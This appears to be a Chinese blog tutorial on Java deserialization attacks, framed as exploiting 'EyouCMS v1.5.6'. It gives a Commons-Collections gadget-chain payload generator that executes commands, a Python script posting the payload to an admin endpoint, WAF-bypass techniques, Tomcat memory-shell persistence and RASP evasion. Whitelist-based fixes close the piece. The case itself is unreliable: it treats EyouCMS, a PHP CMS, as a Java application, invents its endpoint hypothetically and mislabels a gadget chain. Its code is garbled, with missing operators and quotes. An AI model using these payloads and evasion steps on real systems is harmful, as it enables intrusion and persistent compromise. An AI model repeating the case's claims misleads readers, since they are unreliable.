Java反序列化漏洞实战:从CMS漏洞挖掘到POP链构造与防御

发布时间:2026/6/29 12:06:35

Java反序列化漏洞实战:从CMS漏洞挖掘到POP链构造与防御 1. 项目概述一次典型的CMS反序列化漏洞深度挖掘最近在梳理一些主流内容管理系统的安全状况时EyouCMS v1.5.6版本中的一个反序列化漏洞引起了我的注意。这并非一个全新的漏洞但它的成因、触发路径以及利用方式非常具有代表性几乎涵盖了从源码审计、漏洞定位、POP链构造到最终POC编写的完整闭环。对于想深入理解Java反序列化漏洞尤其是如何在真实CMS中寻找和利用这类漏洞的朋友来说这是一个绝佳的实战案例。反序列化漏洞尤其是像Shiro、Fastjson这些框架的漏洞大家听得多了但很多时候我们拿到的只是一个现成的EXP知其然不知其所以然。这次我们就抛开那些“一键利用”的工具从零开始手把手拆解EyouCMS v1.5.6这个漏洞看看攻击者是如何一步步找到入口、构造利用链并最终实现命令执行的。整个过程我会结合我自己的审计和调试经验把其中的关键节点、踩过的坑以及一些实用的技巧分享出来。这个漏洞的核心简单来说就是EyouCMS在处理某些用户可控的输入数据时未经过滤就进行了反序列化操作攻击者可以构造恶意的序列化数据在服务器上触发任意代码执行。听起来很危险对吧但危险往往藏在细节里。我们需要搞清楚漏洞点具体在哪里程序为什么会信任并反序列化这些数据我们又能利用哪些现成的“武器”即Gadget链来达成目的接下来我们就带着这些问题进入实战环节。2. 环境搭建与漏洞定位2.1 靶场环境快速部署工欲善其事必先利其器。分析漏洞的第一步是复现它。我们需要一个干净的EyouCMS v1.5.6环境。通常我会选择从官方历史版本仓库或者可靠的镜像站下载对应的发布包。下载后将其部署在一个隔离的测试环境中比如使用Docker快速构建或者在一台虚拟机里配置好Java Web环境Tomcat 8/9 JDK 8。这里有个小技巧为了后续调试方便建议在部署时将Tomcat的启动参数加上远程调试选项例如-agentlib:jdwptransportdt_socket,servery,suspendn,address5005。这样我们就可以用IDEA等IDE附加到进程上进行动态调试观察每一步的数据流向和函数调用。部署完成后访问系统完成基础的安装配置。确保系统能正常运行这是我们后续所有测试的基础。同时准备好反编译工具如JD-GUI、CFR或直接使用IDEA的Fernflower反编译器因为我们需要深入分析jar包中的源码。2.2 漏洞入口点搜寻与分析面对一个像CMS这样庞大的系统漫无目的地找漏洞无异于大海捞针。我们需要一些线索和策略。对于反序列化漏洞常见的入口点包括HTTP请求参数特别是那些接收对象、经过Base64编码、或者名称中带有“serialized”、“data”、“object”等字眼的参数。Cookie值某些框架会将序列化后的对象存储在Cookie中。RPC/API接口接收二进制流或特定编码格式数据的接口。文件上传如果上传的文件内容会被反序列化。已知组件的已知漏洞检查系统依赖的第三方库如Commons-Collections、Fastjson、Jackson、XStream等是否存在已知的反序列化Gadget。对于EyouCMS我们可以从已知的漏洞公告或安全研究报告中获得初步信息。假设我们通过信息搜集得知漏洞可能与后台的某个插件或接口有关。那么我们的审计重点可以放在处理插件配置、数据导入导出、或者会话管理的代码上。一个非常有效的方法是全局搜索关键函数调用。在Java中反序列化的核心方法是java.io.ObjectInputStream.readObject()。我们可以使用IDEA的“Find in Path”功能在整个项目目录中搜索readObject。但要注意很多搜索结果是类自身实现readObject方法用于自定义反序列化逻辑而不是触发反序列化的调用点。我们更应关注new ObjectInputStream(...).readObject()这样的模式。此外还要关注那些包装了反序列化操作的框架方法比如Spring框架的org.springframework.core.serializer.DefaultDeserializer.deserialize()或者Apache Commons IO中的SerializationUtils.deserialize()。在EyouCMS v1.5.6中经过一番搜索和排查我们可能会定位到一个处理插件配置的Servlet或Controller。例如某个用于保存插件设置的接口接收一个经过Base64编码的字符串参数然后直接将其反序列化成一个java.util.Map或自定义的配置对象。这就是典型的“用户输入直接流向危险函数”的模式是漏洞的根源。注意在实际审计中找到readObject调用只是第一步。必须向上追溯确认传入的数据是否完全用户可控且中间没有进行有效的过滤或校验如类型白名单、签名验证。很多时候代码会先进行解码Base64、Hex等然后再反序列化这个解码点就是我们的数据注入点。3. 反序列化漏洞原理与POP链构造3.1 为什么反序列化是危险的要利用漏洞先得理解它为什么存在。Java反序列化机制本身是为了方便对象持久化和网络传输。ObjectInputStream.readObject()方法在还原对象时会递归地调用对象图中每个类的readObject方法如果该类自定义了该方法。问题就出在这里攻击者可以精心构造一个序列化数据流这个数据流在反序列化过程中会触发一系列特定类的特定方法调用最终导向危险操作如执行系统命令。这个过程依赖一条“调用链”也就是所谓的Gadget Chain或POP ChainProperty-Oriented Programming Chain。这条链通常由以下几个部分组成起点Sink一个最终执行危险操作的方法例如Runtime.exec()或ProcessBuilder.start()。跳板Bridges一系列类的 getter/setter 方法、toString、equals、hashCode或compareTo方法它们被设计成在反序列化、集合操作、反射调用等过程中自动触发。入口Source反序列化过程自动调用的方法通常是某个类的readObject方法它内部的操作会触发跳板上的方法。安全研究人员已经发现了大量存在于公共库如Apache Commons Collections, Commons BeanUtils, Spring, Groovy等中的通用Gadget链。例如著名的CommonsCollections链就利用了TransformedMap或LazyMap在设置值时自动调用Transformer的特性通过ChainedTransformer串联反射调用最终执行命令。3.2 寻找合适的Gadget链对于EyouCMS v1.5.6我们需要分析其依赖的第三方库。查看WEB-INF/lib目录下的jar包使用mvn dependency:tree或类似工具生成依赖树。重点关注以下库的版本commons-collections(3.1, 3.2.1)commons-beanutils(1.9.x)commons-fileuploadspring-core,spring-aopgroovy-alljackson-databindxstream假设我们发现目标系统包含了commons-collections-3.2.1.jar。这是一个“宝藏”库其中包含了许多经典的Gadget。我们可以尝试使用现成的利用链比如CommonsCollections1 (CC1)。这条链的终点是InvokerTransformer.transform()它可以通过反射调用任意方法。但是直接使用网上公开的CC1链POC可能会失败。原因有几点JDK版本限制高版本JDK8u71中AnnotationInvocationHandler的readObject逻辑发生了变化导致基于AnnotationInvocationHandler的CC1链失效。依赖库版本差异虽然都是3.2.1但细微的差异也可能导致链子无法连接。ClassPath问题目标环境中可能缺少链中某个关键类。因此更可靠的方法是根据目标环境实际存在的类手动构造或适配一条链。这需要我们对常见的Gadget链组件有深入的理解。3.3 手动构造与调试POP链假设我们经过分析决定尝试构造一条基于commons-collections的链。我们可以从终点反向推导终点我们需要调用Runtime.getRuntime().exec(calc)。反射调用使用InvokerTransformer来反射调用exec方法。我们需要一个InvokerTransformer实例其参数为exec方法和命令参数。触发转换InvokerTransformer需要被某个“转换器”调用。ChainedTransformer可以将多个Transformer串联。但我们需要一个地方能自动触发这一系列转换。自动触发点LazyMap.get(Object key)方法会在键不存在时调用TransformerFactory即我们设置的ChainedTransformer来生成值。如果我们能控制反序列化过程中对LazyMap的get调用就能触发链条。反序列化入口我们需要一个类在其readObject方法中会去读取或操作一个Map从而触发LazyMap.get()。AnnotationInvocationHandler高版本JDK失效或BadAttributeValueExpException.readObject()CC4链的一部分是常见选择。在CC4链中BadAttributeValueExpException的readObject会调用其val成员一个TiedMapEntry的toString方法而TiedMapEntry.toString()会调用其封装的Map即我们的LazyMap的get方法。至此一条可能的链子就清晰了BadAttributeValueExpException.readObject()-TiedMapEntry.toString()-LazyMap.get()-ChainedTransformer.transform()-InvokerTransformer.transform()-Runtime.exec()在代码中我们需要按此顺序组装对象然后序列化。这个过程必须在攻击者本地使用与目标环境相同版本的库来完成。实操心得手动构造POP链时最大的坑在于“版本兼容性”和“类加载”。务必在本地创建一个与目标环境尽可能一致的项目相同的JDK版本、相同的依赖库版本用于生成Payload。使用SerializationDumper或ysoserial项目的源码进行调试是极好的学习方式。调试时重点关注readObject的调用栈看你的链子是否按预期被触发。4. POC构造与漏洞利用实战4.1 编写漏洞验证POC理解了原理和链子我们就可以动手编写POC了。POCProof of Concept的目的是验证漏洞是否存在通常以执行一个无害的命令如弹出计算器、发送DNS请求为标志。以下是一个基于假设的CC链使用TiedMapEntry和BadAttributeValueExpException的POC编写思路请注意这是示例代码具体类名和方法需要根据实际审计结果调整import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class EyouCMS_POC { public static byte[] generatePayload() throws Exception { // 1. 构造命令执行的Transformer链 Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 无害命令验证用 }; ChainedTransformer chain new ChainedTransformer(transformers); // 2. 构造LazyMap用于延迟触发Transformer链 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, chain); // 将链子设置给LazyMap // 3. 构造TiedMapEntry其toString会触发LazyMap.get TiedMapEntry entry new TiedMapEntry(lazyMap, foo); // Key可以是任意值 // 4. 构造BadAttributeValueExpException其readObject会触发TiedMapEntry.toString BadAttributeValueExpException badAttr new BadAttributeValueExpException(null); Field valField BadAttributeValueExpException.class.getDeclaredField(val); valField.setAccessible(true); valField.set(badAttr, entry); // 将TiedMapEntry设置为val // 5. 为了在反序列化时立即触发需要先触发一次LazyMap.get避免因key已存在而跳过。 // 但在这个Gadget中TiedMapEntry.toString会使用固定的key去get所以这里我们确保key不存在即可。 // 也可以使用反射修改TiedMapEntry的key使其在toString时触发。 // 6. 序列化恶意对象 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(badAttr); oos.close(); return baos.toByteArray(); } public static void main(String[] args) throws Exception { byte[] payload generatePayload(); // 将payload进行Base64编码以便通过HTTP参数发送 String base64Payload java.util.Base64.getEncoder().encodeToString(payload); System.out.println(Generated Base64 Payload:); System.out.println(base64Payload); } }这段代码做了以下几件事构造了一个ChainedTransformer它通过反射最终调用Runtime.exec(“calc.exe”)。创建一个LazyMap并将上述转换链设置给它。当LazyMap.get()被调用且key不存在时就会触发链子。创建一个TiedMapEntry绑定这个LazyMap和一个虚拟key。创建一个BadAttributeValueExpException对象并通过反射将其val属性设置为TiedMapEntry。序列化这个BadAttributeValueExpException对象并输出Base64编码。重要提示在实际利用EyouCMS漏洞时上述链中的具体类如BadAttributeValueExpException可能不适用你需要根据实际找到的漏洞触发点即哪个类的readObject方法会处理我们的输入来调整最终的“入口类”。可能是HashMap、PriorityQueue或者其他任何在目标ClassPath中且readObject方法能触发我们Gadget链的类。4.2 构造HTTP请求进行漏洞验证生成Payload后下一步就是将其发送到目标漏洞接口。假设我们找到的漏洞接口是/admin/plugin/configSave接收一个名为configData的Base64参数。我们可以使用curl、Burp Suite或编写简单的Python脚本来发送请求import requests import base64 url http://target-ip:port/admin/plugin/configSave payload_b64 rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeA # 替换为实际生成的Payload data { configData: payload_b64 } headers { Content-Type: application/x-www-form-urlencoded, } response requests.post(url, datadata, headersheaders) print(response.status_code) print(response.text)如果漏洞存在且Payload构造正确目标服务器在执行反序列化时就会弹出计算器Windows或执行我们预设的命令。在Linux下可以尝试执行touch /tmp/pwned或发送一个DNS查询nslookup your-domain.com来验证。注意事项在实际渗透测试中必须在获得明确授权的前提下进行。验证漏洞应使用无害命令。切勿对未授权目标进行攻击。4.3 绕过可能的WAF或过滤在实际环境中目标系统前端可能有WAF或者代码本身对输入做了简单检查。常见的绕过思路包括多种编码除了Base64尝试URL编码、Hex编码、多重编码。请求参数位置尝试将Payload放在Cookie、Header、JSON Body等不同位置。分块传输使用HTTP分块传输编码Transfer-Encoding: chunked来绕过基于内容长度的检测。Payload变形序列化数据流混淆在序列化数据流中插入无关的TC_REFERENCE指向一个无害对象可能会干扰一些简单的流解析器。使用不同的Gadget链如果一条链被拦截尝试另一条。例如从CommonsCollections链换到BeanUtils链或Clojure链。反射加载类如果命令执行被限制可以尝试用反射加载一个字节数组形式的恶意类涉及ClassLoader但这条链通常更复杂。5. 漏洞深度分析与修复建议5.1 漏洞根因与调用链回溯通过动态调试我们可以精确地看到漏洞触发的完整路径。在IDEA中附加到目标Tomcat进程在疑似漏洞点的readObject方法处打上断点然后发送Payload。程序中断后通过调用栈Call Stack可以清晰地看到从ObjectInputStream.readObject()开始。进入我们精心构造的入口类如BadAttributeValueExpException的readObject。调用TiedMapEntry.toString()。调用LazyMap.get()。调用ChainedTransformer.transform()。经过一系列InvokerTransformer.transform()最终通过反射调用Runtime.exec()。每一步的参数、变量状态都尽收眼底。这个过程不仅能100%确认漏洞还能帮助我们理解整个Gadget链是如何精巧地衔接在一起的。对于防御方来说这个调用栈也是定位漏洞修复点的最关键依据。5.2 安全修复方案对于开发者而言修复此类反序列化漏洞的根本方法是避免反序列化不可信的数据。如果业务必须反序列化则应采取以下措施输入验证与白名单在反序列化之前对输入进行严格的校验。最有效的方法是使用白名单机制只允许反序列化预期的、安全的类。可以通过继承ObjectInputStream并重写resolveClass方法来实现public class SafeObjectInputStream extends ObjectInputStream { private static final SetString whitelist new HashSet(Arrays.asList( “java.util.HashMap”, “com.eyoucms.safe.ConfigObject”, // ... 其他明确需要的类 )); public SafeObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!whitelist.contains(className)) { throw new InvalidClassException(“Unauthorized deserialization attempt”, className); } return super.resolveClass(desc); } }然后使用SafeObjectInputStream代替ObjectInputStream。升级依赖库及时升级已知存在高危Gadget链的第三方库如Apache Commons Collections到3.2.2及以上版本该版本修复了相关Transformer的安全问题Fastjson到安全版本等。但要注意升级库可能只是让某条特定链失效并不能根治反序列化问题因为新的Gadget链可能被不断发现。使用安全的替代方案考虑使用更安全的序列化/反序列化机制如JSONJackson, Gson、Protocol Buffers、Kryo配合安全配置等。这些格式通常不直接支持任意代码的执行。运行时防护在应用层面或容器层面使用Java Security Manager配置严格的安全策略限制执行敏感操作。也可以使用RASP运行时应用自保护产品进行监控和拦截。代码审计对项目中的所有ObjectInputStream使用点进行审计确保其数据源是可信的。对于EyouCMS v1.5.6官方在后续版本中应该修复了此漏洞。修复方式很可能是在对应的接口处将反序列化操作替换为白名单验证的反序列化器或者直接改用JSON等格式解析配置数据。5.3 防御视角下的思考从防御者角度看这个案例给我们几点启示安全开发意识永远不要反序列化来自客户端、未经严格验证的数据。这应该成为开发规范中的一条铁律。依赖管理持续关注项目依赖库的安全公告及时更新。使用工具如OWASP Dependency-Check对项目进行依赖漏洞扫描。纵深防御即使应用代码存在漏洞通过部署WAF、RASP、容器安全策略等可以在不同层面增加攻击难度和成本。漏洞响应建立完善的漏洞接收和应急响应流程。对于开源项目及时发布安全更新和公告。6. 拓展与高级利用思路6.1 内存马注入从命令执行到持久化成功执行命令只是第一步。在实战攻防中攻击者往往追求更隐蔽、更持久的控制。这就引出了“内存马”的概念。内存马是一种存在于服务器内存中的后门不写入磁盘重启后失效但隐蔽性极强。利用反序列化漏洞注入内存马是常见手段。思路是通过反序列化漏洞执行一段Java代码这段代码利用Java的类加载机制或动态代理技术向当前运行的Web容器如Tomcat注册一个恶意的Servlet、Filter或Listener。例如针对Tomcat可以构造一个Payload其最终执行以下核心操作通过反射获取当前线程的WebAppClassLoader。获取StandardContext。创建一个恶意Filter类其doFilter方法包含命令执行逻辑。通过FilterDef和FilterMap将这个恶意Filter注册到StandardContext中并映射到某个URL路径如/favicon。以后攻击者访问http://target/favicon并带上参数就能实现命令执行。这种Payload的构造比简单的命令执行复杂得多需要深入理解目标容器的内部API。网上有现成的工具和代码如“冰蝎”内存马但在实际利用时需要根据目标环境的具体Tomcat版本、Spring版本等进行适配和调试。6.2 自动化漏洞挖掘与利用框架集成对于安全研究人员手动完成上述所有步骤效率较低。我们可以将这个过程自动化自动化信息收集编写脚本自动识别目标CMS版本、依赖库版本。Gadget链智能选择根据收集到的信息从一个已知的Gadget链库中自动选择最可能成功的链。例如如果检测到commons-collections:3.1则优先尝试CC1链如果检测到commons-beanutils:1.9.2则尝试CB链。Payload生成与编码自动调用本地环境与目标匹配生成序列化Payload并进行Base64等编码。HTTP请求构造与发送自动将Payload发送到预设的或通过爬虫发现的潜在漏洞端点。结果验证通过DNS回显、HTTP请求回连等方式自动验证漏洞是否利用成功。著名的漏洞利用框架如ysoserial、metasploit中的相关模块以及一些商业漏洞扫描器都集成了类似的功能。理解其背后的原理有助于我们更好地使用和定制这些工具。6.3 针对复杂环境的利用挑战与绕过在实际的高安全环境或现代Java应用中利用反序列化漏洞可能会遇到更多挑战高版本JDKJDK 8u71 对AnnotationInvocationHandler的修复以及后续版本引入的过滤器ObjectInputFilter使得很多传统链失效。需要寻找新的入口点如java.util.HashSet、java.util.PriorityQueue等。不存在公开Gadget的库目标可能使用了非常冷门或高度定制的库。这时需要具备独立审计和发现新Gadget链的能力这需要对Java序列化机制、常见库的源码有非常深的理解。WAF/IDS/IPS网络层防御会检测和拦截恶意的序列化数据流。除了前面提到的编码、分块等绕过方式还可以尝试将Payload拆分到多个请求参数中或者在服务器端寻找一个“二次反序列化”的点即先写入文件或数据库再由另一个功能点读取并反序列化。RASP/Agent防护应用层面的运行时防护可以监控危险方法的调用如Runtime.exec。绕过RASP需要更高级的技巧例如使用纯Java代码实现文件读写、网络连接等功能避免触发敏感API监控或者利用JNI调用本地代码。7. 从攻击到防御的思维转变完成一次完整的漏洞分析、POC构造和利用不仅是为了掌握攻击技术更重要的是为了建立有效的防御思维。通过攻击者的视角我们能更清楚地看到防御的薄弱环节在哪里。对于企业安全建设我建议SDL集成在软件开发生命周期中强制进行安全代码培训将“禁止反序列化不可信数据”作为代码审查的必查项。供应链安全严格管理第三方组件建立内部私有仓库对所有引入的组件进行安全扫描和版本锁定。威胁建模对关键业务系统进行威胁建模识别类似“数据反序列化”这样的高风险入口点并设计针对性的防护措施。红蓝对抗定期组织内部红蓝对抗演练使用类似EyouCMS漏洞这样的案例作为攻击场景检验防御体系的有效性并持续改进。这个EyouCMS反序列化漏洞的实战分析就到这里。整个过程从环境搭建、源码审计、原理分析、链构造、POC编写到修复建议算是一次比较完整的渗透测试技术演练。我个人的体会是反序列化漏洞的魅力在于它像搭积木一样将看似无害的代码片段组合成具有破坏力的武器。而防御的关键就在于打破其中任何一环。无论是作为开发者还是安全工程师深入理解这个过程都能让你在各自的岗位上做得更好。最后再分享一个小技巧在本地分析调试Gadget链时不妨多试试java -Dsun.io.serialization.extendedDebugInfotrue这个JVM参数它能在反序列化出错时打印更详细的类信息对排查链子连接问题非常有帮助。

相关新闻